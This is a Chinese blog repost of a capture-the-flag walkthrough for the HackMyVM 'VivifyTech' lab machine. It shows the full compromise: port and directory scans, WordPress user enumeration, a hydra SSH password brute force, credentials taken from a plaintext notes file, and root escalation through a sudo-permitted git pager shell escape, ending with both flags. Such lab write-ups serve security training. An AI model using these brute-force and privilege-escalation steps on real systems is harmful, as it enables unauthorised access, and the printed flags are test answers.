当前位置: 首页 > news >正文

[HackMyVM]靶场 VivifyTech

kali:192.168.56.104

主机发现

arp-scan -l

# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:05       (Unknown: locally administered)
192.168.56.100  08:00:27:47:66:49       PCS Systemtechnik GmbH
192.168.56.111  08:00:27:87:6e:bd       PCS Systemtechnik GmbH


靶机:192.168.56.111

端口扫描

nmap -p- 192.168.56.111
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey: 
|   256 32:f3:f6:36:95:12:c8:18:f3:ad:b8:0f:04:4d:73:2f (ECDSA)
|_  256 1d:ec:9c:6e:3c:cf:83:f6:f0:45:22:58:13:2f:d3:9e (ED25519)
80/tcp    open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
3306/tcp  open  mysql   MySQL (unauthorized)
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|     HY000
|   LDAPBindReq: 
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns: 
|     Invalid message-frame."
|_    HY000

开启了 22 80 3306 33060端口

web界面没什么东西

扫描目录

gobuster dir -u http://192.168.56.111 -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirb/common.txt
/index.html           (Status: 200) [Size: 10701]
/index.html           (Status: 200) [Size: 10701]
/server-status        (Status: 403) [Size: 279]
/wordpress            (Status: 301) [Size: 320] [--> http://192.168.56.111/wordpress/]

原来是wp服务

添上wordpress再扫一下

gobuster dir -u http://192.168.56.111/wordpress -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirb/common.txt
/index.php            (Status: 301) [Size: 0] [--> http://192.168.56.111/wordpress/]
/index.php            (Status: 301) [Size: 0] [--> http://192.168.56.111/wordpress/]
/license.txt          (Status: 200) [Size: 19915]
/readme.html          (Status: 200) [Size: 7399]
/wp-admin             (Status: 301) [Size: 329] [--> http://192.168.56.111/wordpress/wp-admin/]
/wp-content           (Status: 301) [Size: 331] [--> http://192.168.56.111/wordpress/wp-content/]
/wp-includes          (Status: 301) [Size: 332] [--> http://192.168.56.111/wordpress/wp-includes/]
/wp-settings.php      (Status: 500) [Size: 0]
/wp-blog-header.php   (Status: 200) [Size: 0]
/wp-login.php         (Status: 200) [Size: 5411]
/wp-load.php          (Status: 200) [Size: 0]
/wp-links-opml.php    (Status: 200) [Size: 225]
/wp-mail.php          (Status: 403) [Size: 2616]
/wp-trackback.php     (Status: 200) [Size: 135]
/wp-cron.php          (Status: 200) [Size: 0]
/wp-config.php        (Status: 200) [Size: 0]
/wp-signup.php        (Status: 302) [Size: 0] [--> http://192.168.56.111/wordpress/wp-login.php?action=register]

在wp-includes里面发现一个secret.txt可以作为一个密码字典

wpscan扫一下用户名

wpscan --url http://192.168.56.111/wordpress  -e u
[i] User(s) Identified:[+] sancelisso

用户名sancelisso

但是一个用户名太少了,

再找点用户名

注意到wp里面除了helloworld还有一篇文章里面有几个人名

Sarah Mark Emily  Jake Alex

添加到user.txt

wpscan没爆出来ssh也没爆出来

把名字首字母改成小写后爆了出来

# hydra -L user.txt -P secret.txt ssh://192.168.56.111
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-02 21:53:00
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 288 login tries (l:6/p:48), ~18 tries per task
[DATA] attacking ssh://192.168.56.111:22/
[22][ssh] host: 192.168.56.111   login: sarah   password: bohicon

ssh连接拿到user权限

sarah@VivifyTech:~$ whoami
sarah
sarah@VivifyTech:~$ ls -al
total 32
drwx------ 4 sarah sarah 4096 Mar  2 08:47 .
drwxr-xr-x 6 root  root  4096 Dec  5 16:00 ..
-rw------- 1 sarah sarah    0 Dec  5 17:53 .bash_history
-rw-r--r-- 1 sarah sarah  245 Dec  5 17:33 .bash_logout
-rw-r--r-- 1 sarah sarah 3565 Dec  5 17:48 .bashrc
-rw------- 1 sarah sarah    0 Mar  2 08:47 .history
drwxr-xr-x 3 sarah sarah 4096 Dec  5 16:19 .local
drwxr-xr-x 2 sarah sarah 4096 Dec  5 16:19 .private
-rw-r--r-- 1 sarah sarah  807 Dec  5 15:57 .profile
-rw-r--r-- 1 sarah sarah   27 Dec  5 16:22 user.txt
sarah@VivifyTech:~$ cat user.txt
HMV{Y0u_G07_Th15_0ne_6543}

有个.private文件夹

sarah@VivifyTech:~/.private$ ls -al
total 12
drwxr-xr-x 2 sarah sarah 4096 Dec  5 16:19 .
drwx------ 4 sarah sarah 4096 Mar  2 09:03 ..
-rw-r--r-- 1 sarah sarah  274 Dec  5 16:19 Tasks.txt
sarah@VivifyTech:~/.private$ cat T*
- Change the Design and architecture of the website
- Plan for an audit, it seems like our website is vulnerable
- Remind the team we need to schedule a party before going to holidays
- Give this cred to the new intern for some tasks assigned to him - gbodja:4Tch055ouy370N

给了gbodja/4Tch055ouy370N

ssh连接

gbodja@VivifyTech:~$ whoami
gbodja
gbodja@VivifyTech:~$ sudo -l
Matching Defaults entries for gbodja on VivifyTech:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, !admin_flag, use_ptyUser gbodja may run the following commands on VivifyTech:(ALL) NOPASSWD: /usr/bin/git

sudo -l发现可以git提权

直接

sudo /usr/bin/git help config

在底端输入!/bin/bash或者!sh或者!bash拿到root权限

gbodja@VivifyTech:/usr/bin$ sudo /usr/bin/git help config
root@VivifyTech:/usr/bin# whoami
root
root@VivifyTech:/usr/bin# cd /root
root@VivifyTech:~# ls -al
total 40
drwx------  4 root root 4096 Dec  5 17:53 .
drwxr-xr-x 18 root root 4096 Dec  5 10:10 ..
-rw-------  1 root root 1297 Dec  5 17:55 .bash_history
-rw-r--r--  1 root root  610 Dec  5 17:43 .bashrc
-rw-------  1 root root   36 Dec  5 17:53 .lesshst
drwxr-xr-x  3 root root 4096 Dec  5 11:05 .local
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-r--r--  1 root root   40 Dec  5 17:07 root.txt
drwx------  2 root root 4096 Dec  5 10:10 .ssh
-rw-r--r--  1 root root  168 Dec  5 10:38 .wget-hsts
root@VivifyTech:~# cat root*
HMV{Y4NV!7Ch3N1N_Y0u_4r3_7h3_R007_8672}

相关文章:

  • InnoDB备份与恢复篇(4)-InnoDB的故障恢复与日志分析
  • 【技巧】SpringCloud Gateway实现多子域(单个应用开放多个端口)
  • Shell输入输出重定向
  • 实用工具:实时监控服务器CPU负载状态并邮件通知并启用开机自启
  • 14-Linux部署Hadoop集群
  • 高中数学:函数的单调性
  • 使用npm i命令时一直idealTree:npm: sill idealTree buildDeps卡住不动
  • 蓝桥杯倒计时41天!DFS进阶1——回溯
  • Vue+Flask电商后台管理系统
  • 【一起学习Arcade】(6):属性规则实例_约束规则和验证规则
  • 记录一次主机不能登录的异常现象解决的问题
  • 自动粘贴与网址管理,让您的网络生活更便捷!“
  • 04锁机制-分布式锁
  • 云上攻防-云原生篇Docker安全系统内核版本漏洞CDK自动利用容器逃逸
  • 人工智能_大模型013_AIGC生成式模型的增强检索_RAG知识补充检索_补充私域和实时场景知识_关键字检索增强---人工智能工作笔记0149
  • JS中 map, filter, some, every, forEach, for in, for of 用法总结
  • 0基础学习移动端适配
  • leetcode378. Kth Smallest Element in a Sorted Matrix
  • Python socket服务器端、客户端传送信息
  • RedisSerializer之JdkSerializationRedisSerializer分析
  • Web Storage相关
  • 类orAPI - 收藏集 - 掘金
  • 使用agvtool更改app version/build
  • 学习使用ExpressJS 4.0中的新Router
  • 一起来学SpringBoot | 第十篇:使用Spring Cache集成Redis
  • 译自由幺半群
  • mysql 慢查询分析工具:pt-query-digest 在mac 上的安装使用 ...
  • 阿里云服务器购买完整流程
  • 阿里云服务器如何修改远程端口?
  • ​ 轻量应用服务器:亚马逊云科技打造全球领先的云计算解决方案
  • # 透过事物看本质的能力怎么培养?
  • #我与Java虚拟机的故事#连载14:挑战高薪面试必看
  • $Django python中使用redis, django中使用(封装了),redis开启事务(管道)
  • (2022版)一套教程搞定k8s安装到实战 | RBAC
  • (C++17) optional的使用
  • (C语言)strcpy与strcpy详解,与模拟实现
  • (附源码)ssm捐赠救助系统 毕业设计 060945
  • (蓝桥杯每日一题)love
  • (免费领源码)Java#Springboot#mysql农产品销售管理系统47627-计算机毕业设计项目选题推荐
  • (三)mysql_MYSQL(三)
  • (数据结构)顺序表的定义
  • (转)Sql Server 保留几位小数的两种做法
  • (转贴)用VML开发工作流设计器 UCML.NET工作流管理系统
  • (转载)虚函数剖析
  • .bat文件调用java类的main方法
  • .Net Core缓存组件(MemoryCache)源码解析
  • .net mvc 获取url中controller和action
  • .NET NPOI导出Excel详解
  • .Net 代码性能 - (1)
  • .NET/C# 利用 Walterlv.WeakEvents 高性能地中转一个自定义的弱事件(可让任意 CLR 事件成为弱事件)
  • .net6解除文件上传限制。Multipart body length limit 16384 exceeded
  • .pub是什么文件_Rust 模块和文件 - 「译」
  • ::前边啥也没有
  • ::什么意思
  • :“Failed to access IIS metabase”解决方法